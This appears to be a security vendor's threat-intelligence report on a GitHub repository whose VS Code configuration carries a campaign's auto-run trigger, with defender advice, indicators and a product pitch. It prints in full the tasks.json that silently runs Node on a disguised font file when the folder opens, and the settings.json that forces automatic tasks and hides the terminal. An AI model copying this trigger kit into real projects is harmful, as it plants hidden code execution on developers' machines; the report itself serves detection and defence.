Ibraz94/advance-agent is a single-commit GitHub repository presenting a Chainlit chat agent backed by Google Gemini. The Python code is clean. Five files under .vscode/ are byte-identical to those in Hamxay/local-mcp, the A10-*050 campaign specimen that carries a blockchain C2 loader disguised as a Font Awesome font. The tasks.json auto-executes on folder open and runs Node.js against public/fonts/fa-solid-400.woff2. That file does not exist. The public/ directory does not exist. The trigger is live but the payload is absent, so the attack fails silently.
The artifact
The repository contains a single commit (aa0faa0, Aug 5, 2026) by Ibraz Ur Rehman under the handle Ibraz94. The commit message reads “Update .gitignore to include .env and remove files.”
main.py defines a Chainlit agent using AsyncOpenAI pointed at the Gemini API (generativelanguage.googleapis.com). The agent registers one tool (get_mobile_data) that fetches phone specifications from a public REST API. pyproject.toml names the project advance-agent, pins Chainlit 2.5.5, and lists standard dependencies. space.yaml configures a Hugging Face Spaces deployment on Python 3.12. .chainlit/config.toml and 13 translation JSON files are default Chainlit scaffolding. Functional code, no obfuscation.
What it does
The .vscode/ directory contains five files:
tasks.json, identical to local-mcp:
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never", "echo": false, "focus": false, "close": true },
"isBackground": true,
"hide": true
}settings.json, identical to local-mcp:
{
"task.allowAutomaticTasks": true,
"terminal.integrated.hideOnStartup": "always"
}task.allowAutomaticTasks: true overrides the developer’s VSCode default. terminal.integrated.hideOnStartup: "always" suppresses the terminal panel.
launch.json, identical to local-mcp. Three debug configurations for SST (Serverless Stack) reference AWS_PROFILE: "flo-ct-flo360". These are unrelated to a Chainlit agent project and leak an AWS profile name from another project (or the operator’s development environment).
extensions.json, identical. Recommends PlantUML preview and Prettier.
spellright.dict, identical. “Contentful” and “Lerna”. Neither term appears anywhere else in this repository.
The absent payload
The task targets ./public/fonts/fa-solid-400.woff2. In local-mcp, that path holds a 32,218-byte obfuscated JavaScript file carrying campaign A10-*050’s Ethereum blockchain C2 loader. In this repository, the public/ directory does not exist. The task fires on folder open, Node.js attempts to execute a nonexistent file, the || echo '' fallback runs, and nothing happens.
The .gitignore is shorter than local-mcp’s. It excludes .env and standard Python build artifacts. It does not list temp_auto_push.bat or temp_interactive_push.bat (both excluded by local-mcp’s .gitignore).
The campaign
Five .vscode/ files, byte-identical across two GitHub accounts (Hamxay and Ibraz94), establish that the A10-*050 attack kit is not hand-authored per repository. The kit includes IDE configuration unrelated to either project: SST debug profiles, an AWS profile (flo-ct-flo360), a Jest runner path, TypeScript settings, and a spell-check dictionary referencing Contentful and Lerna. These are configuration artifacts from a development environment that was neither a Chainlit agent nor a FastMCP expense tracker.
The two accounts committed within ten days of each other (Aug 5 and Aug 14, 2026). Both used single-commit repositories. local-mcp included the blockchain C2 payload. advance-agent did not. Whether the payload was never added, was removed before the single-commit push, or is staged for a future force-push cannot be determined from the current state.
This is the sixth repository linked to the Ethereum blockchain C2 operation spanning campaign identifiers A9-2057, A9-2353-1, A9-4051-1, A10-050, and A11—.
Why the operation matters here
The trigger is inert today. The file it targets does not exist, and the task fails silently. The infrastructure for a live attack is already in place: runOn: "folderOpen" is set, task.allowAutomaticTasks is forced to true, and all presentation flags suppress output. One force-push adding public/fonts/fa-solid-400.woff2 would activate the full C2 chain without touching tasks.json.
What a defender can do
- Set
"task.allowAutomaticTasks": "never"in user-level VSCode settings - Enable Workspace Trust and do not auto-trust cloned repositories
- Review
.vscode/tasks.jsonin any third-party project before opening it - Flag repositories where
.vscode/configuration references files or directories that do not exist in the working tree - Treat the five-file
.vscode/kit (tasks.json, settings.json, launch.json, extensions.json, spellright.dict) as an indicator: the combination of SST debug profiles, theflo-ct-flo360AWS profile, and theeslint-checktask label targeting a font path is unique to this operation
Where Aephix fits
The trigger was present without its payload. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.
| Indicator | Type |
|---|---|
Ibraz94/advance-agent | Repository |
Ibraz94 (Ibraz Ur Rehman) | Git handle |
aa0faa0 | Commit SHA |
A10-*050 | Campaign ID |
.vscode/tasks.json with runOn: "folderOpen" | Trigger mechanism |
public/fonts/fa-solid-400.woff2 (absent, targeted by task) | Expected payload path |
task.allowAutomaticTasks: true (in settings.json) | Settings override |
flo-ct-flo360 (in launch.json AWS_PROFILE) | Leaked environment identifier |
Hamxay/local-mcp | Linked specimen (identical kit, payload present) |